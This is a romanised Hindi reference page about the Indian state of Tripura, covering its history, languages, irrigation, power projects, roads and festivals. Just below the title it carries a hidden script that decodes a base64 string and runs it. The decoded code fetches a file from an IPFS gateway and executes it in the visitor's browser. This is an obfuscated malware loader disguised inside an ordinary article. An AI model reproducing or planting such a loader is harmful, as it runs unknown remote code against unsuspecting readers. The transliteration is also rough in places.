त्रिपुरा
tripura / Tripura
itihas aur bhoogol
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tripura ka itihas bahut purana aur lanba hai. isaki apani anokhi janajatiy sanshkriti aur dilachashp lokagathaean hai. aisa mana jata hai ki raja tripur, jo yayati vansh ka 39 vaan raja tha, unake nam par hi is rajy ka nam tripura p da . ek mat ke anusar sthaniy devi tripur sundari ke nam par isaka nam tripura p da . yah hindoo dharm ki 51 shakti pithoan mean se ek hai . is rajy ke itihas ko ‘rajamala’ gathaoan aur musalaman itihasakaroan ke varnanoan se jana ja sakata hai. mahabharat aur puranoan mean bhi tripura ka ulhlekh milata hai. 'rajamala' ke anusar tripura ke shasakoan ko ‘pha’ upanam se pukara jata tha jisaka arth ‘pita’ hota hai. 14vian shatabhdi mean bangal ke shasakoan dvara tripura naresh ki madad kie jane ka bhi ulhlekh milata hai. tripura ki sthapana 14vian shatabdi mean 'maniky' namak iando-mangoliyan adivasi mukhiya ne ki thi, jisane hiandoo dharm apanaya tha. tripura ke shasakoan ko mugaloan ke bar-bar akraman ka bhi samana karana pada jisamean akramanakariyoan ko kam hi saphalata milati thi. kee l daiyoan mean tripura ke shasakoan ne bangal ke sulhtanoan ko haraya. 19vian shatabhdi mean 'maharaja virachandr kishor manikhy bahadur' ke shasanakal mean tripura mean ne yug ka sootrapat hua. unhhoanne apane prashasanik dhaanche ko british bharat ke namoone par banaya aur kee sudhar lagoo kie. unake uttaradhikaroan ne 15 akhtoobar, 1949 tak tripura par shasan kiya. isake bad tripura bharat sangh mean shamil ho gaya. prarambh mean yah bhag - si ke aantargat ane vala rajhy tha aur 1956 mean rajhyoan ke punargathan ke bad yah keandrashasit pradesh bana. 1972 mean isane poorn rajhy ka darja prapht kiya. tripura baanghladesh tatha mhyaanmar ki nadi ghatiyoan ke bich sthit hai. isake tin taraph baanghladesh hai aur keval uttar-poorv mean yah asam aur mijoram se ju da hua hai. agaratala tripura prant ki rajadhani hai. tripura desh ka doosara sabase chhota rajy hai.
bhasha
bangali aur tripuri bhasha (kok borok) yahaan mukhy roop se boli jati haian.
sianchaee
tripura rajhy mukhhyat: paha di ilaka hai. isaka bhaugolik kshetr 10,49,169 hekhteyar hai. anuman hai ki 2,80,000 hekhteyar bhoomi krishi yoghy hai. 31 march, 2008 tak 93,359 hekhteyar bhoomi kshetr mean lipht sianchaee, gahare nalakoop, disha parivartan, madhhyam sianchaee vhyavashtha, shailo tyoobavail adi ke jarie sunishchit sianchaee ke prabandhan kie ge haian. yah rajhy ki sianchaee yoghy bhoomi ka 79.97 pratishat aur krishi yoghy bhoomi ka lagabhag 33.34 pratishat hai. lok nirman vibhag (jal sansadhan) dvara 1411 daivarzan shkim, 166 gahare nalakoop shkimean poori ki ja chuki haian. 3 madhhyam sianchaee yojanaoan (gumati, khovee aur manu) ke jarie kaman eriya ke kuchh bhag ko sianchaee ka pani upalabhdh karaya ja raha hai. nahar pranali ka kary 2009-10 tak poora ho jane ki ummid hai.
bijali
is samay rajhy ki bijali ki maang lagabhag 162 megav aaut hai. rajhy mean apani pariyojanaoan se lagabhag 80 megav aaut bijali paida ki ja rahi hai. lagabhag 40 megav aaut bijali poorvothtar kshetr mean sthit keandriy kshetr ke vidyut uthpadan keandroan se rajhy ke lie abantit hishse se prapht ki jati hai. yah akalan kiya gaya hai ki varsh 2012 ke dauran sarvochhch maang lagabhag 396 megav aaut ko bhi poora kar diya jaega jo 'rajiv gaandhi vidyutikaran yojana' tatha 'rajhy ke audyogikikaran' ke parinamashvaroop uthpanhn hogi. tripura ki nee vidyut pariyojanaean
- baramura 1 x 21 megav aaut jiti pariyojana, en॰ee॰si॰ ke aantargat pashchim tripura en॰ee॰si॰, karyakari ejeansi: ti॰es॰ee॰si॰el॰.
- palatana, udayapur, o॰ti॰pi॰si॰ vidyut pariyojana (740 megav aaut), dakshin tripura. tripura ka hissa 200 megav aaut hai. 2011-12 mean shuroo hone ki sanbhavana hai. #monarachak ji.ti. pariyojana (104 megav aaut) : karyakari ejeansi : nipako, 2010- mean shuroo ho jane ki sanbhavana hai.
parivahan
sadakean- tripura mean vibhinhn prakar ki s dakoan ki kul lanbaee 1,997 ki.mi. hai, jisamean se mukhhy zila s dakean 90 ki.mi., anhy zila s dakean 1,218 ki.mi. aur praantiy rajamarg 689 ki.mi haian. relave- agaratala-sabaroom sanpark rel lain vishtar ke kary ko keandr sarakar ne manjoori de di hai. agaratala aur sabaroom ke bich ek nee b di lain ke lie ianjiniyariang aur yatayat ke sarvekshan ko manjoori de di gee hai. uddayan- mukhhy havaee adda agaratala mean hai.
- nagarik uddayan mantralay se anurodh kiya gaya hai ki vah iandiyan eyaralaians aur is kshetr mean kam kar rahi anhy niji uddayan kanpaniyoan se kahean ki ve agaratala aur silachar ke bich barashta kailashahar v kamalapur udan seva shuroo karean. mantralay ne rajhy sarakar se kaha hai ki vah poorvottar parishad ke sath ek ashay-patr hashtakshar kar le aur kailashahar v kamalapur havaee addoan ke vikas par ane vale vhyay ko vahan karean. rajhy sarakar ne is prashtav par sahamat hone mean apani asamarthata jataee haian.
thyohar
nimnalikhit tyauhar manaye jate hai-
- tirthamukh aur unakoti mean makar sankraanti
- holi
- unokoti, brahakuand (mohanapur) mean ashokashhtami
- rash
- bangali navavarsh
- gariya, dhamel, bijoo aur hojagiri uthsav
- nauka dau d aur manasa mangal uthsav
- ker aur khachi uthsav
- durgapooja
- divali
- janpuee pahadiyoan mean krisamas
- buddh poornima
- r aaubiandar-najarool-sukaanta uthsav
- gali naty uthsav
- choangaprem uthsav
- khanpuee uthsav
- vah uthsav
- saanshkritik uthsav (lok uthsav)
- murasiang uthsav
- sanghati uthsav
- baisakhi uthsav (sabaroom) adi har varsh manae jate haian.
paryatan samaroh
- areanj eand toorijhm phestival vaangamun
- unoketi toorijhm phestival
- niramahal toorijhm phestival
- pilak turijhm phestival.
- saanshkritik/dharmik uthsav
paryatan sthal
- agaratala
- kamal sagar
- sephajala
- niramahal
- udayapur
- pilak
- mahamuni
- vesht - n aaurth tripura
- dumboor jhil
- unokoti
- jamapuee hil